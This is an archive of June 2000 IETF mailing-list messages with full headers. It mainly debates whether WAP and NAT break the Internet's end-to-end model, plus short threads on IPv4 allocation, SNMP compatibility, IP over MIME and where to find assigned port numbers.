John;

> > You can have IP over HTTP, IP over XML or IP over WAP equally easily.
> >
> > The problem, however, is that the reconstruction point is an
> > intelligent gateway which violates the end to end principle.
> 
> Mmm, how so? I'd see it as a router, which just happens to run over a
> higher-level protocol than most.

No, it is no router of the Internet. For example, your protocol does not
interact with the routing metric of the Internet.

> Not a great design, but it does (can)
> give you end-to-end IP.

Like NAT, it works most of the time, unless you try things
unsupported by the so intelligent gateway.

Of course, you can insist NAT offer end-to-end IP.

						Masataka Ohta



From owner-ietf-outbound  Tue Jun 20 20:40:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id UAA06980
	for ietf-outbound.10@ietf.org; Tue, 20 Jun 2000 20:40:01 -0400 (EDT)
Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA06735
	for <ietf@ietf.org>; Tue, 20 Jun 2000 20:25:21 -0400 (EDT)
From: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
Message-Id: <200006210024.JAA18159@necom830.hpcl.titech.ac.jp>
Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1)
	id JAA18159; Wed, 21 Jun 2000 09:24:16 +0900
Subject: BoF on new IPv4 address allocation policy in INET'2000
To: ietf@ietf.org, nanog@merit.edu
Date: Wed, 21 Jun 2000 09:24:15 +0859 ()
X-Mailer: ELM [version 2.4ME+ PL68 (25)]
X-Loop: ietf@ietf.org

Dear all;

We, authors of

	draft-ohta-address-allocation-00.txt

will have a BoF on the new policy of IPv4 address allocation on
7/19 evening in INET'2000 before starting experimental assignments.

The policy is that ISPs with permanent Internet connectivity and
experimental IPv6 support will be allocated a *LOT* of IPv4 addresses,
regardless of the actual amount of usage. See the draft for details.

It will promote the transition to IPv6 partly because of the requiremnt
of the experimental support and partly because the policy will make
IPv4 addresses quickly used up. The IPv4 addresses make NAT obsolete,
too.

Anyone interested in address assignemnt policy or IPv6 deployment should
join.

						Masataka Ohta

PS

Feel free to forward this notice.



From owner-ietf-outbound  Tue Jun 20 21:30:13 2000
Received: by ietf.org (8.9.1a/8.9.1a) id VAA07439
	for ietf-outbound.10@ietf.org; Tue, 20 Jun 2000 21:30:02 -0400 (EDT)
Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA07408
	for <ietf@ietf.org>; Tue, 20 Jun 2000 21:26:52 -0400 (EDT)
Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1])
        by astro.cs.utk.edu (cf 8.9.3) with ESMTP id VAA02708;
        Tue, 20 Jun 2000 21:26:46 -0400 (EDT)
Message-Id: <200006210126.VAA02708@astro.cs.utk.edu>
X-URI: http://www.cs.utk.edu/~moore/
From: Keith Moore <moore@cs.utk.edu>
To: Phil Karn <karn@qualcomm.com>
cc: mohta@necom830.hpcl.titech.ac.jp, public@mohsen.banan.1.byname.net,
        ietf@ietf.org
Subject: Re: WAP Is A Trap -- Reject WAP 
In-reply-to: Your message of "Tue, 20 Jun 2000 13:22:09 PDT."
             <200006202022.NAA27444@servo.qualcomm.com> 
Date: Tue, 20 Jun 2000 21:26:45 -0400
Sender: moore@cs.utk.edu
X-Loop: ietf@ietf.org

>  Sprint PCS uses a NAT,

wish I had known that before I bought one of their phones.

criminals.

Keith



From owner-ietf-outbound  Tue Jun 20 21:40:12 2000
Received: by ietf.org (8.9.1a/8.9.1a) id VAA07654
	for ietf-outbound.10@ietf.org; Tue, 20 Jun 2000 21:40:04 -0400 (EDT)
Received: from sean.ebone.net (IDENT:postfix@sean.ebone.net [195.158.227.211])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA07574
	for <ietf@ietf.org>; Tue, 20 Jun 2000 21:35:29 -0400 (EDT)
Received: by sean.ebone.net (Postfix, from userid 1113)
	id C052D882; Wed, 21 Jun 2000 03:35:28 +0200 (CEST)
To: karn@qualcomm.com, moore@cs.utk.edu
Subject: Re: WAP Is A Trap -- Reject WAP
Cc: ietf@ietf.org, mohta@necom830.hpcl.titech.ac.jp,
        public@mohsen.banan.1.byname.net
Message-Id: <20000621013528.C052D882@sean.ebone.net>
Date: Wed, 21 Jun 2000 03:35:28 +0200 (CEST)
From: smd@ebone.net (Sean Doran)
X-Loop: ietf@ietf.org

Keith Moore writes:

| >  Sprint PCS uses a NAT,
|
| wish I had known that before I bought one of their phones.
| criminals.

Keith, you need a major attitude readjustment.

	Sean. (who notes you didn't even NOTICE the NAT, if there is one)



From owner-ietf-outbound  Wed Jun 21 00:00:29 2000
Received: by ietf.org (8.9.1a/8.9.1a) id AAA10860
	for ietf-outbound.10@ietf.org; Wed, 21 Jun 2000 00:00:05 -0400 (EDT)
Received: from tooran.byname.net ([198.62.92.29])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA10822
	for <ietf@ietf.org>; Tue, 20 Jun 2000 23:50:52 -0400 (EDT)
Received: (qmail 3114 invoked by uid 100); 21 Jun 2000 03:50:29 -0000
Date: 21 Jun 2000 03:50:29 -0000
Message-ID: <20000621035029.3113.qmail@tooran.byname.net>
MIME-Version: 1.0
From: Mohsen BANAN-Public <public@mohsen.banan.1.byname.net>
To: <bkumar@ennovatenetworks.com>, Phil Karn <karn@qualcomm.com>
Cc: "'Mohsen BANAN-Public'" <public@mohsen.banan.1.byname.net>,
        "'IETF Mailing List'" <ietf@ietf.org>
Subject: RE: WAP Is A Trap -- Reject WAP
In-Reply-To: <010601bfdac4$17868400$d001010a@tst.ennovatenetworks.com>
References: <20000620064913.27719.qmail@tooran.byname.net>
	<010601bfdac4$17868400$d001010a@tst.ennovatenetworks.com>
X-Mailer: VM 6.33 under 19.15p7 XEmacs Lucid
Content-Type: text/plain; charset=US-ASCII
X-Loop: ietf@ietf.org


>>>>> On Tue, 20 Jun 2000 10:30:31 -0400, "Brijesh Kumar" <bkumar@ennovatenetworks.com> said:

  Brijesh> It is an open secret that wireless industry is a closed cartel of
  Brijesh> three super heavyweights (Motorola, Ericsson, and Nokia) and two heavy
  Brijesh> weights (Lucent and Nortel). There is no role for any smaller
  Brijesh> organization in the set up. Hope God give you wisdom to  accept this
  Brijesh> truth with cheerfulness, as many other small companies in the wireless
  Brijesh> industry have accepted ;-).

I don't want that "wisdom".

I want to challenge the status quo based on the power
of truly open protocols, the Internet end-to-end
model and free software.

The WAP Trap paper is just a beginning ...


What you call super heavyweiths, I call dinosaurs.

Those "heavyweights" who have placed their bets on WAP,
are now caught in their own mess. 

WAP introduces the Phone Company -- equipped by the
likes of Phone.Com -- as a fictitious middle man
acting as a gate-keeper. While gate-keepers are an
integral part of the tele-com model, they have no
place in the data-com world.

I full agree with Phil Karn when he says:

>>>>> On Tue, 20 Jun 2000 12:36:47 -0700 (PDT), Phil Karn <karn@qualcomm.com> said:

  Phil> One thing missing from most block diagrams of WAP is the chute on the
  Phil> bottom of the carrier's WAP gateway pouring out money. It's safe to
  Phil> say that this chute is WAP's primary reason for existence.

  Phil> WAP has gotten as far as it has (which isn't very far) only because
  Phil> cell phones are closed, proprietary devices. The end user has no
  Phil> choice which software or protocols it runs. The vendors make that
  Phil> decision for you.

  Phil> ...

  Phil> The Internet end-to-end model will once again prevail, putting the
  Phil> cellular service providers back into their proper place as providers
  Phil> of packet pipes, nothing more. And life will be good again. :-)

As for,

  Brijesh> PS: By the way, ReFLEX is perfectly fine for two way messaging
  Brijesh> applications.

No. 

ReFLEX is not perfectly fine.

It is not IP based.


...Mohsen.



From owner-ietf-outbound  Wed Jun 21 00:20:09 2000
Received: by ietf.org (8.9.1a/8.9.1a) id AAA11020
	for ietf-outbound.10@ietf.org; Wed, 21 Jun 2000 00:20:03 -0400 (EDT)
Received: from tooran.byname.net ([198.62.92.29])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA10997
	for <ietf@ietf.org>; Wed, 21 Jun 2000 00:15:11 -0400 (EDT)
Received: (qmail 3173 invoked by uid 100); 21 Jun 2000 04:14:46 -0000
Date: 21 Jun 2000 04:14:46 -0000
Message-ID: <20000621041446.3172.qmail@tooran.byname.net>
MIME-Version: 1.0
From: Mohsen BANAN-Public <public@mohsen.banan.1.byname.net>
To: Masataka Ohta <mohta@NECOM830.HPCL.TITECH.AC.JP>
Cc: Phil Karn <karn@qualcomm.com>, public@mohsen.banan.1.byname.net,
        ietf@ietf.org
Subject: Re: WAP Is A Trap -- Reject WAP
In-Reply-To: <200006201959.EAA17175@necom830.hpcl.titech.ac.jp>
References: <200006201936.MAA26742@servo.qualcomm.com>
	<200006201959.EAA17175@necom830.hpcl.titech.ac.jp>
X-Mailer: VM 6.33 under 19.15p7 XEmacs Lucid
Content-Type: text/plain; charset=US-ASCII
X-Loop: ietf@ietf.org


>>>>> On Wed, 21 Jun 2000 04:59:15 +0859 (), Masataka Ohta <mohta@NECOM830.HPCL.TITECH.AC.JP> said:

  >> The Internet end-to-end model will once again prevail, putting the
  >> cellular service providers back into their proper place as providers
  >> of packet pipes, nothing more. And life will be good again. :-)

  Masataka> IP over NAT is, in no way, end-to-end.

Point taken. 

NAT is not end-to-end.  

End-to-end is good karma.

  Masataka> WAP and IP over NAT are equally bad.

We have two sets of problems and layering helps here.

At layer 3, we need to make things end-to-end.

At layer 7, the WAP approach is simply the wrong approach.


We need competition in the efficient appliction protocols
space. 

As you pointed out more than a month ago:

   Masataka> To make the competition fair, the important questions are:

  Masataka> 	Is it fair if providers using iMODE or WAP are advertised
  Masataka> 	to be ISPs?

  Masataka> 	Is it fair if providers using NAT are advertised to be ISPs?

  Masataka> My answer to both questions is

  Masataka> 	No, while they may be Internet Service Access Providers and
  Masataka> 	NAT users may be IP Service Providers, they don't provide
  Masataka> 	Internet service and are no ISPs.

Which in my thinking is equivalent of saying that WAP is at best an
Internet gateway model. Which is consistent to my position in The WAP
Trap paper ...






From owner-ietf-outbound  Wed Jun 21 00:30:11 2000
Received: by ietf.org (8.9.1a/8.9.1a) id AAA11212
	for ietf-outbound.10@ietf.org; Wed, 21 Jun 2000 00:30:03 -0400 (EDT)
Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA11035
	for <ietf@ietf.org>; Wed, 21 Jun 2000 00:20:52 -0400 (EDT)
Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1])
        by astro.cs.utk.edu (cf 8.9.3) with ESMTP id AAA05550;
        Wed, 21 Jun 2000 00:20:37 -0400 (EDT)
Message-Id: <200006210420.AAA05550@astro.cs.utk.edu>
X-URI: http://www.cs.utk.edu/~moore/
From: Keith Moore <moore@cs.utk.edu>
To: smd@ebone.net (Sean Doran)
cc: karn@qualcomm.com, moore@cs.utk.edu, ietf@ietf.org,
        mohta@necom830.hpcl.titech.ac.jp, public@mohsen.banan.1.byname.net
Subject: Re: WAP Is A Trap -- Reject WAP 
In-reply-to: Your message of "Wed, 21 Jun 2000 03:35:28 +0200."
             <20000621013528.C052D882@sean.ebone.net> 
Date: Wed, 21 Jun 2000 00:20:37 -0400
Sender: moore@cs.utk.edu
X-Loop: ietf@ietf.org

>         Sean. (who notes you didn't even NOTICE the NAT, if there is one)

I found out about the NATs after I bought my phone but before I tried
to make 6to4 work with it.  So even though I am out the cost of the phone, 
at least I was spared the additional effort, expense, and frustration
of trying to make it work with my laptop.  

Keith



From owner-ietf-outbound  Wed Jun 21 04:50:47 2000
Received: by ietf.org (8.9.1a/8.9.1a) id EAA24724
	for ietf-outbound.10@ietf.org; Wed, 21 Jun 2000 04:50:02 -0400 (EDT)
Received: from ernst.netinsight.se ([212.209.170.195])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA24661
	for <ietf@ietf.org>; Wed, 21 Jun 2000 04:41:14 -0400 (EDT)
Received: from localhost (unverified [10.100.1.11]) by ernst.netinsight.se
 (EMWAC SMTPRS 0.83) with SMTP id <B0000733995@ernst.netinsight.se>;
 Wed, 21 Jun 2000 10:39:25 +0200
To: mohta@necom830.hpcl.titech.ac.jp
Cc: karn@qualcomm.com, public@mohsen.banan.1.byname.net, ietf@ietf.org
Subject: Re: WAP Is A Trap -- Reject WAP
In-Reply-To: <200006202042.FAA17413@necom830.hpcl.titech.ac.jp>
References: <200006202022.NAA27444@servo.qualcomm.com>
	<200006202042.FAA17413@necom830.hpcl.titech.ac.jp>
X-Mailer: Mew version 1.94.1 on Emacs 20.4 / Mule 4.0 (HANANOEN)
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20000621104040S.magda@netinsight.se>
Date: Wed, 21 Jun 2000 10:40:40 +0200
From: Magnus Danielson <magda@NETINSIGHT.SE>
X-Dispatcher: imput version 991025(IM133)
Lines: 47
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

From: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
Subject: Re: WAP Is A Trap -- Reject WAP
Date: Wed, 21 Jun 0 5:42:32 JST

> Phil;
> 
> > >IP over NAT is, in no way, end-to-end.
> > 
> > >WAP and IP over NAT are equally bad.
> > 
> > I think you're overstating your case. Yes, IP over NAT is bad, but
> > it's nowhere near as bad as WAP.
> 
> If you think so, don't say "end-to-end".
> 
> > If you want, it is still possible to "reconstruct" a true end-to-end
> > IP service by tunneling it through a NAT with something vaguely
> > resembling mobile IP.
> 
> You can have IP over HTTP, IP over XML or IP over WAP equally easily.

With IP over MIME you could even establish an IP connection over a mail
gateway, firewall bypassing... Hmm.... the same goes for http proxies.

> The problem, however, is that the reconstruction point is an
> intelligent gateway which violates the end to end principle.

Havent we learned to love and hate these breaking of layering?

You can put basically anything over anything else when it comes to just moving
bits around. While doing this we get the additional benefits of increased
propagation delay, increased overhead, often complexer solutions and a new
bag of problems in the interworking area. Lovely. We can feed a lot of
research and engineer mouths this way.

Now, while NAT and WAP both intend to solve some problems, they provide ground
for new problems which naturally require new solutions. We should really ask
weither some of these problems really should be solved within that scope or
not. If IP over WAP is a bag of worms, maybe one should bypass WAP alltogether.
Where we know that neither ATM, IP or NAT solves all the problems neither will
WAP.

It is not really what you could do as what you should do. Naturally there is
allways politically and technical preferences which prohibits some solutions.

Cheers,
Magnus



From owner-ietf-outbound  Wed Jun 21 05:00:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id FAA24803
	for ietf-outbound.10@ietf.org; Wed, 21 Jun 2000 05:00:03 -0400 (EDT)
Received: from uwcunx.uwc.ac.za (uwcunx.uwc.ac.za [196.11.235.8])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA24672
	for <ietf@ietf.ORG>; Wed, 21 Jun 2000 04:45:36 -0400 (EDT)
Received: (qmail 2882 invoked from network); 21 Jun 2000 12:53:27 -0000
Received: (ofmipd 192.102.9.48); 21 Jun 2000 12:53:05 -0000
Received: from ITS#u#GW-Message_Server by itsnw.uwc.ac.za
	with Novell_GroupWise; Wed, 21 Jun 2000 10:51:11 +0200
Date: 21 Jun 2000 10:50:39 +0200
Message-Id: <s9509e1f.094@itsnw.uwc.ac.za>
From: "TANIA PAULSE" <taniap@UWC.AC.ZA>
To: ietf@ietf.org
X-Mailer: Novell GroupWise 4.1
Subject: SNMP v1, v2, v3 are they compatible?
Mime-Version: 1.0
Content-Type: text/plain
Content-Disposition: inline
X-Loop: ietf@ietf.org

Dear IETF People,

I am working on my Masters degree at UWC. I was hoping
someone would be able to clarify whether the different
versions of SNMP are really not compatible or whether I have
mssed something in my search.

Thanking you and awaiting your reply in anticipation.

Regards
Tania Paulse (taniap@uwc.ac.za)
University of the Western Cape
                                                            
                                                            
                                                            
                                                            
                                                            
                                                            
                                                            
                                                            
                                                            
                                                            
                                                            
                                                            
                                                            
                                                            
       



From owner-ietf-outbound  Wed Jun 21 07:30:09 2000
Received: by ietf.org (8.9.1a/8.9.1a) id HAA26649
	for ietf-outbound.10@ietf.org; Wed, 21 Jun 2000 07:30:02 -0400 (EDT)
Received: from torque.pothole.com ([38.138.52.132])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA26583
	for <ietf@ietf.org>; Wed, 21 Jun 2000 07:28:58 -0400 (EDT)
Received: from localhost (localhost [127.0.0.1])
	by torque.pothole.com (8.8.2/8.8.8) with SMTP id HAA23428
	for ietf@ietf.org; Wed, 21 Jun 2000 07:31:06 -0400 (EDT)
Message-Id: <200006211131.HAA23428@torque.pothole.com>
X-Authentication-Warning: torque.pothole.com: localhost [127.0.0.1] didn't use HELO protocol
To: ietf@ietf.org
Subject: IP over MIME (was Re: WAP Is A Trap -- Reject WAP)
In-reply-to: Your message of "Wed, 21 Jun 2000 10:40:40 +0200."
             <20000621104040S.magda@netinsight.se> 
Date: Wed, 21 Jun 2000 07:31:06 -0400
From: "Donald E. Eastlake 3rd" <dee3@torque.pothole.com>
X-Mts: smtp
X-Loop: ietf@ietf.org

See <ftp://ftp.ietf.org//internet-drafts/draft-eastlake-ip-mime-03.txt>.

Donald

From:  Magnus Danielson <magda@netinsight.se>
To:  mohta@necom830.hpcl.titech.ac.jp
Cc:  karn@QUALCOMM.COM, public@mohsen.banan.1.byname.net, ietf@ietf.org
In-Reply-To:  <200006202042.FAA17413@necom830.hpcl.titech.ac.jp>
References:  <200006202022.NAA27444@servo.qualcomm.com>
	    	<200006202042.FAA17413@necom830.hpcl.titech.ac.jp>
Message-Id:  <20000621104040S.magda@netinsight.se>
Date:  Wed, 21 Jun 2000 10:40:40 +0200

>From: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
>Subject: Re: WAP Is A Trap -- Reject WAP
>Date: Wed, 21 Jun 0 5:42:32 JST
>
>> Phil;
>> 
>> > >IP over NAT is, in no way, end-to-end.
>> > 
>> > >WAP and IP over NAT are equally bad.
>> > 
>> > I think you're overstating your case. Yes, IP over NAT is bad, but
>> > it's nowhere near as bad as WAP.
>> 
>> If you think so, don't say "end-to-end".
>> 
>> > If you want, it is still possible to "reconstruct" a true end-to-end
>> > IP service by tunneling it through a NAT with something vaguely
>> > resembling mobile IP.
>> 
>> You can have IP over HTTP, IP over XML or IP over WAP equally easily.
>
>With IP over MIME you could even establish an IP connection over a mail
>gateway, firewall bypassing... Hmm.... the same goes for http proxies.
>
>> The problem, however, is that the reconstruction point is an
>> intelligent gateway which violates the end to end principle.
>
>Havent we learned to love and hate these breaking of layering?
>
>You can put basically anything over anything else when it comes to just moving
>bits around. While doing this we get the additional benefits of increased
>propagation delay, increased overhead, often complexer solutions and a new
>bag of problems in the interworking area. Lovely. We can feed a lot of
>research and engineer mouths this way.
>
>Now, while NAT and WAP both intend to solve some problems, they provide ground
>for new problems which naturally require new solutions. We should really ask
>weither some of these problems really should be solved within that scope or
>not. If IP over WAP is a bag of worms, maybe one should bypass WAP alltogether.
>Where we know that neither ATM, IP or NAT solves all the problems neither will
>WAP.
>
>It is not really what you could do as what you should do. Naturally there is
>allways politically and technical preferences which prohibits some solutions.
>
>Cheers,
>Magnus
>



From owner-ietf-outbound  Wed Jun 21 08:40:21 2000
Received: by ietf.org (8.9.1a/8.9.1a) id IAA29350
	for ietf-outbound.10@ietf.org; Wed, 21 Jun 2000 08:40:03 -0400 (EDT)
Received: from ernst.netinsight.se ([212.209.170.195])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA29080
	for <ietf@ietf.org>; Wed, 21 Jun 2000 08:35:55 -0400 (EDT)
Received: from localhost (unverified [10.100.1.11]) by ernst.netinsight.se
 (EMWAC SMTPRS 0.83) with SMTP id <B0000734625@ernst.netinsight.se>;
 Wed, 21 Jun 2000 14:34:02 +0200
To: dee3@torque.pothole.com
Cc: ietf@ietf.org
Subject: Re: IP over MIME (was Re: WAP Is A Trap -- Reject WAP)
In-Reply-To: <200006211131.HAA23428@torque.pothole.com>
References: <20000621104040S.magda@netinsight.se>
	<200006211131.HAA23428@torque.pothole.com>
X-Mailer: Mew version 1.94.1 on Emacs 20.4 / Mule 4.0 (HANANOEN)
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20000621143518L.magda@netinsight.se>
Date: Wed, 21 Jun 2000 14:35:18 +0200
From: Magnus Danielson <magda@NETINSIGHT.SE>
X-Dispatcher: imput version 991025(IM133)
Lines: 10
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

From: "Donald E. Eastlake 3rd" <dee3@torque.pothole.com>
Subject: IP over MIME (was Re: WAP Is A Trap -- Reject WAP)
Date: Wed, 21 Jun 2000 07:31:06 -0400

> See <ftp://ftp.ietf.org//internet-drafts/draft-eastlake-ip-mime-03.txt>.

For once people could spend some time reading the security considerations.

Cheers,
Magnus



From owner-ietf-outbound  Wed Jun 21 09:30:35 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA00805
	for ietf-outbound.10@ietf.org; Wed, 21 Jun 2000 09:30:02 -0400 (EDT)
Received: from ztxmail03.ztx.compaq.com (ztxmail03.ztx.compaq.com [161.114.1.207])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA00753
	for <ietf@ietf.org>; Wed, 21 Jun 2000 09:26:39 -0400 (EDT)
Received: by ztxmail03.ztx.compaq.com (Postfix, from userid 12345)
	id 27E636C9; Wed, 21 Jun 2000 08:26:10 -0500 (CDT)
Received: from excreo-gh02.reo.cpqcorp.net (excreo-gh02.reo.cpqcorp.net [16.37.150.254])
	by ztxmail03.ztx.compaq.com (Postfix) with ESMTP id AC19153D
	for <ietf@ietf.org>; Wed, 21 Jun 2000 08:26:09 -0500 (CDT)
Received: by excreo-gh02.reo.cpqcorp.net with Internet Mail Service (5.5.2650.21)
	id <NHH5XR8B>; Wed, 21 Jun 2000 14:26:08 +0100
Message-ID: <71C4C55F198BD211B24F0000F842F15807ED9B18@reoexc6.reo.cpqcorp.net>
From: "Parkinson, Jonathan" <Jonathan.Parkinson@compaq.com>
To: "Ietf@Ietf. Org (E-mail)" <ietf@ietf.org>
Subject: Port Help ?
Date: Wed, 21 Jun 2000 14:26:00 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

Hi there Folks,
	Sorry about this but I don't know who to ask. I'm looking for a list
of what ports are assigned to what I.E..

echo		7	Echo
discard		9	Discard
ftp-data		20	File Transfer [Default Data]
ftp		21	File Transfer [Control]
ssh		22	SSH Remote Login Protocol
telnet		23	Telnet
smtp		25	Simple Mail Transfer

I don't suppose any one has a list, or could point me in the right direction
?

Thanks
Jon

> Jonathan Parkinson
> EMEA Operations Management Center.
> Remote Server and Network Management Group.
> Unix Support .
> Compaq Computer Limited 
> 
> Tel: DTN 7830 1118
> Tel: External +44 (0)118 201118
> Fax: +44 (0)118 201175
> Jonathan.parkinson@compaq.com
> 



From owner-ietf-outbound  Wed Jun 21 09:50:16 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA01707
	for ietf-outbound.10@ietf.org; Wed, 21 Jun 2000 09:50:02 -0400 (EDT)
Received: from mttmail1.mtt.ca (xl1022.mtt.ca [142.176.123.254])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA01657
	for <ietf@ietf.org>; Wed, 21 Jun 2000 09:48:38 -0400 (EDT)
Received: from mttmail1.mtt.ca ([142.68.31.10]) by mttmail1.mtt.ca
          (Netscape Messaging Server 3.52)  with SMTP id 205
          for <ietf@ietf.org>; Wed, 21 Jun 2000 10:41:46 -0300
Received: FROM kimon BY mttmail1.mtt.ca ; Wed Jun 21 10:41:45 2000 -0300
Message-ID: <007d01bfdb87$996d2c80$fc76150a@kimon>
From: "Kimon A. Andreou" <kimon@mindless.com>
To: "Parkinson, Jonathan" <Jonathan.Parkinson@compaq.com>,
        "Ietf@Ietf. Org \(E-mail\)" <ietf@ietf.org>
References: <71C4C55F198BD211B24F0000F842F15807ED9B18@reoexc6.reo.cpqcorp.net>
Subject: Re: Port Help ?
Date: Wed, 21 Jun 2000 10:50:01 -0300
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

try http://www.iana.org/numbers.htm

Kimon



----- Original Message -----
From: "Parkinson, Jonathan" <Jonathan.Parkinson@compaq.com>
To: "Ietf@Ietf. Org (E-mail)" <ietf@ietf.org>
Sent: Wednesday, June 21, 2000 10:26
Subject: Port Help ?


> Hi there Folks,
> Sorry about this but I don't know who to ask. I'm looking for a list
> of what ports are assigned to what I.E..
>
> echo 7 Echo
> discard 9 Discard
> ftp-data 20 File Transfer [Default Data]
> ftp 21 File Transfer [Control]
> ssh 22 SSH Remote Login Protocol
> telnet 23 Telnet
> smtp 25 Simple Mail Transfer
>
> I don't suppose any one has a list, or could point me in the right
direction
> ?
>
> Thanks
> Jon
>
> > Jonathan Parkinson
> > EMEA Operations Management Center.
> > Remote Server and Network Management Group.
> > Unix Support .
> > Compaq Computer Limited
> >
> > Tel: DTN 7830 1118
> > Tel: External +44 (0)118 201118
> > Fax: +44 (0)118 201175
> > Jonathan.parkinson@compaq.com
> >
>



From owner-ietf-outbound  Wed Jun 21 10:00:17 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA02131
	for ietf-outbound.10@ietf.org; Wed, 21 Jun 2000 10:00:03 -0400 (EDT)
Received: from torque.pothole.com ([38.138.52.132])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA01664
	for <ietf@ietf.org>; Wed, 21 Jun 2000 09:48:42 -0400 (EDT)
Received: from localhost (localhost [127.0.0.1])
	by torque.pothole.com (8.8.2/8.8.8) with SMTP id JAA23983;
	Wed, 21 Jun 2000 09:50:44 -0400 (EDT)
Message-Id: <200006211350.JAA23983@torque.pothole.com>
X-Authentication-Warning: torque.pothole.com: localhost [127.0.0.1] didn't use HELO protocol
To: "Parkinson, Jonathan" <Jonathan.Parkinson@compaq.com>
cc: "Ietf@Ietf. Org (E-mail)" <ietf@ietf.org>
Subject: Re: Port Help ? 
In-reply-to: Your message of "Wed, 21 Jun 2000 14:26:00 BST."
             <71C4C55F198BD211B24F0000F842F15807ED9B18@reoexc6.reo.cpqcorp.net> 
Date: Wed, 21 Jun 2000 09:50:44 -0400
From: "Donald E. Eastlake 3rd" <dee3@torque.pothole.com>
X-Mts: smtp
X-Loop: ietf@ietf.org


IETF Internet Protocol Parameter assignments are all documented on
line at the www.iana.org site, in particular port numbers are at
<http://www.isi.edu/in-notes/iana/assignments/port-numbers>.

Donald

From:  "Parkinson, Jonathan" <Jonathan.Parkinson@compaq.com>
Message-ID:  <71C4C55F198BD211B24F0000F842F15807ED9B18@reoexc6.reo.cpqcorp.net>
To:  "Ietf@Ietf. Org (E-mail)" <ietf@ietf.org>
Date:  Wed, 21 Jun 2000 14:26:00 +0100

>Hi there Folks,
>	Sorry about this but I don't know who to ask. I'm looking for a list
>of what ports are assigned to what I.E..
>
>echo		7	Echo
>discard		9	Discard
>ftp-data		20	File Transfer [Default Data]
>ftp		21	File Transfer [Control]
>ssh		22	SSH Remote Login Protocol
>telnet		23	Telnet
>smtp		25	Simple Mail Transfer
>
>I don't suppose any one has a list, or could point me in the right direction
>?
>
>Thanks
>Jon
>
>> Jonathan Parkinson
>> EMEA Operations Management Center.
>> Remote Server and Network Management Group.
>> Unix Support .
>> Compaq Computer Limited 
>> 
>> Tel: DTN 7830 1118
>> Tel: External +44 (0)118 201118
>> Fax: +44 (0)118 201175
>> Jonathan.parkinson@compaq.com
>> 
>



From owner-ietf-outbound  Wed Jun 21 11:10:13 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA03696
	for ietf-outbound.10@ietf.org; Wed, 21 Jun 2000 11:10:02 -0400 (EDT)
Received: from ennovatenetworks.com (ennovatenetworks.com [208.227.99.254])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA03613
	for <ietf@ietf.org>; Wed, 21 Jun 2000 11:05:04 -0400 (EDT)
Received: from broncos (broncos.tst.ennovatenetworks.com [10.1.1.208])
	by ennovatenetworks.com (8.8.7/8.8.7) with SMTP id LAA14368;
	Wed, 21 Jun 2000 11:01:47 -0400 (EDT)
	(envelope-from bkumar@ennovatenetworks.com)
Reply-To: <bkumar@ennovatenetworks.com>
From: "Brijesh Kumar" <bkumar@ennovatenetworks.com>
To: "'Mohsen BANAN-Public'" <public@mohsen.banan.1.byname.net>,
        "'Phil Karn'" <karn@qualcomm.com>
Cc: "'IETF Mailing List'" <ietf@ietf.org>
Subject: RE: WAP Is A Trap -- Reject WAP
Date: Wed, 21 Jun 2000 11:05:43 -0400
Message-ID: <015c01bfdb92$2c7d98c0$d001010a@tst.ennovatenetworks.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <20000621035029.3113.qmail@tooran.byname.net>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Importance: Normal
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Mohsen writes:

>   Brijesh> PS: By the way, ReFLEX is perfectly fine for two
> way messaging
>   Brijesh> applications.
>
> No.
>
> ReFLEX is not perfectly fine.
>
> It is not IP based.

Hi Mohsen,

What kind of argument is this?
